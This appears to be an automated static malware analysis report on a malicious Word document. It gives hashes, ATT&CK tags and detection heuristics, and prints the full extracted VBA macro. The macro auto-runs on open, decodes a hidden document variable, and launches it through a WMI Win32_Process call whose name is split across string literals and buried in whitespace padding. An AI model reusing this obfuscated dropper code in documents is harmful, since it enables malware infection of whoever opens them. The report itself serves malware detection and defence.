Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c7b7bd0e46ba7622…

MALICIOUS

Office (OOXML)

18.4 KB Created: 2020-08-26 22:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 22943fda248bf5247258e57bbd1e7919 SHA-1: 2fcc73babec8d3dbe78481f9729d20b7e034b454 SHA-256: c7b7bd0e46ba7622f872099c0b05c8959a3d76f3f01a328f762faa155edce2e2
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

This OOXML document contains a VBA macro that automatically executes upon opening. The macro uses GetObject to instantiate a WMI service and then calls Create on the Win32_Process object. This technique is commonly used to launch arbitrary executables, indicating the document is a dropper for a second-stage payload. The obfuscation of 'winmgmts' by splitting string literals is a strong indicator of malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3069 bytes
SHA-256: fd4f206fdb18516d1c50fbedc41df5295ba4a11357adc7b0147e13d725daa165
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit








                                                    Public Ucayali As Object
Sub Document_Open()








                                                                





                 






                  







             





                







                   Call Psychoanalytic
End Sub
Private Sub Psychoanalytic()
Dim Preinquisition As Long: Dim Collimating() As Byte
GoTo Phenylaceticaldehyde







                                                                






Tenebrism:








            




                                                                For Preinquisition = 0 To UBound(Collimating)





                 





                                                            Collimating(Preinquisition) = Abs(Collimating(Preinquisition) - 3)
Next
GoTo Unplan
Exit Sub






Unplan:








               




                                            Set Ucayali = GetObject("winmg" & "mts:\\" & "." & "\ro" & "ot\cim" & "v2" & ":" & "Win3" & "2_Process")





                  GoTo EdiblE







                                                                        Exit Sub







                                                            GoTo Boundness
Boundness:






            




                   




                  MsgBox "You did a mistake. Please check values."








                                                        





           Exit Sub







                                                                        







Phenylaceticaldehyde:
Collimating = StrConv(ActiveDocument.Variables("f3ca4b8849d5").Value, 256 / 2, 1000 + 55)







                                                    




                                                    






                







                                                                GoTo Tenebrism







                                                        




                  







                                            Exit Sub






                   





                






EdiblE:
Ucayali.Create StrConv(Collimating, 32 * 2, 1000 + 55), Null, Null, 0








                                        Exit Sub
GoTo Suborbiculated








Suborbiculated:
MsgBox "Your process is done. You can close your app now!"





                                                                    





                                                            Exit Sub
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 13312 bytes
SHA-256: 967f8ce36c47d7f80da8c768bf6119484eb9883cf3743490a628770609379b7b

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